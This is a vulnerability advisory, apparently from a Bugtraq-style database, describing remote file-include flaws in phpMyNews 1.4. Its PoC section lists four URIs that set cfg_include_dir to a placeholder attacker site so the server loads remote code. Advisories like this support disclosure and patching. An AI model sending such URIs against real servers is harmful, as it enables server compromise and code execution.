PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
BID:20396
Info
PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 20396 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 08 2006 12:00AM |
| Updated: | Oct 10 2006 05:44PM |
| Credit: | xoron is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
phpmynews phpmynews 1.4 |
| Not Vulnerable: | |
Discussion
PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
phpMyNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
phpMyNews 1.4 and prior versions are affected by these issues.
phpMyNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
phpMyNews 1.4 and prior versions are affected by these issues.
Exploit / POC
PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
An attacker can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://attacker's site
An attacker can exploit this issue via a web client.
The following proof-of-concept URIs are available:
http://www.example.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://attacker's site
http://www.example.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://attacker's site
Solution / Fix
PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
PHPMyNews CFG_INCLUDE_DIR Multiple Remote File Include Vulnerabilities
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